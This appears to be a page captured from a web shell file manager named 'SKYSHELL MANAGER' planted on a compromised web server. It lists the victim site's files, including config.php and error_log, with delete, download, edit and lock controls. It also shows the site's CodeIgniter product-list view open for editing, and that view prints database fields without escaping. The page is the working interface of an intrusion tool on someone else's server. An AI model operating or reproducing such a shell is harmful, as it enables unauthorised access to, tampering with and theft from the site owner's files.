📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
ads
/
assets
/
images
/
Great-Features
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
26184.57 KB
0644
🗑️
⬇️
✏️
🔒
Editing: shopProducts.php
<?php $this->load->view('manager/template/header'); ?> <link rel="stylesheet" href="<?php echo base_url() ?>dist/vendors/datatable/css/dataTables.bootstrap4.min.css"> <link rel="stylesheet" href="<?php echo base_url() ?>dist/vendors/datatable/buttons/css/buttons.bootstrap4.min.css"> <?php $this->load->view('manager/template/nav'); ?> <main> <div class="container-fluid site-width"> <!-- START: Breadcrumbs--> <div class="row "> <div class="col-12 align-self-center"> <div class="sub-header mt-3 py-3 align-self-center d-sm-flex w-100 rounded"> <div class="w-sm-100 mr-auto"> <h4 class="mb-0">POS Product List</h4> </div> <ol class="breadcrumb bg-transparent align-self-center m-0 p-0"> <li class="breadcrumb-item">Home</li> <li class="breadcrumb-item">Product List</li> <!-- <li class="breadcrumb-item active"><a href="#">Editable Table</a></li> --> </ol> </div> </div> </div> <!-- END: Breadcrumbs--> <!-- START: Card Data--> <div class="row"> <div class="col-12 mt-3"> <div class="card"> <div class="card-header justify-content-between align-items-center"> POS Products <?php if ($this->session->flashdata('alert_danger')) : echo '<p class="alert alert-danger" style="text-align:center;"><button type="button" class="close" data-dismiss="alert">×</button>' . $this->session->flashdata('alert_danger') . '</p>'; ?> <?php endif; ?> <?php if ($this->session->flashdata('alert_success')) : echo '<p class="alert alert-success" style="text-align:center;"><button type="button" class="close" data-dismiss="alert">×</button>' . $this->session->flashdata('alert_success') . '</p>'; ?> <?php endif; ?> </div> <div class="card-body"> <div class="table-responsive"> <table class="chbTable display table dataTable table-striped editable-table"> <thead> <tr> <th>ID</th> <th>Product Name</th> <th>Purchase Price</th> <th>Consumer Price</th> <th>Brand</th> <th>Quantity</th> <th>Category</th> <th>Sub Category</th> <th>Date Created</th> <th>Uploaded By</th> </tr> </thead> <tbody> <?php $this->db->order_by('pos_products.date_created', 'desc'); $this->db->join('chbadmin', 'chbadmin.uniqueId = pos_products.uploaded_by', 'left'); $products = $this->db->get('pos_products')->result_array(); foreach ($products as $product) { ?> <tr> <td><?php echo $product['productId'] ?></td> <td><?php echo $product['product_name']; ?></td> <td><span class='badge outline-badge-primary'>₦<?php echo number_format($product['purchase_price']); ?></span></td> <td> <span class='badge outline-badge-info'>₦<?php echo number_format($product['selling_price']); ?></span></td> <td><?php echo str_replace('-', ' ', $product['productBrand']); ?></td> <td><?php if ($product['quantity'] < 1) { echo "<span class='badge outline-badge-danger ml-2'>Out of Stock</span>"; } else if ($product['quantity'] > 1 && $product['quantity'] < 20) { echo "<span class='badge outline-badge-warning ml-2'><i class='fa fa-archive'></i> " . $product['quantity'] . " Pieces In Stock</span>"; } else if ($product['quantity'] > 20) { echo "<span class='badge outline-badge-success ml-2'><i class='fa fa-archive'></i> " . $product['quantity'] . " Pieces In Stock</span>"; } ?> </td> <td><?php echo $product['category']; ?></td> <td><?php echo str_replace('-', ' ', $product['subCategory']); ?></td> <td><?php echo $product['date_created']; ?></td> <td><?php echo $product['name']; ?></td> </tr> <?php } ?> </tbody> <tfoot> <tr> <th>ID</th> <th>Product Name</th> <th>Purchase Price</th> <th>Consumer Price</th> <th>Brand</th> <th>Quantity</th> <th>Category</th> <th>Sub Category</th> <th>Date Created</th> <th>Uploaded By</th> </tr> </tfoot> </table> </div> </div> </div> </div> </div> <!-- END: Card DATA--> </div> </main> <!-- END: Content--> <?php $this->load->view('manager/template/footer'); ?> <?php $this->load->view('manager/template/js_functions'); ?> <script src="<?php echo base_url() ?>dist/vendors/datatable/js/jquery.dataTables.min.js"></script> <script src="<?php echo base_url() ?>dist/vendors/datatable/js/dataTables.bootstrap4.min.js"></script> <script src="<?php echo base_url() ?>dist/vendors/datatable/editor/mindmup-editabletable.js"></script> <script src="<?php echo base_url() ?>dist/vendors/datatable/editor/numeric-input-example.js"></script> <script src="<?php echo base_url() ?>dist/js/datatable.script.js"></script>
💾 Save Changes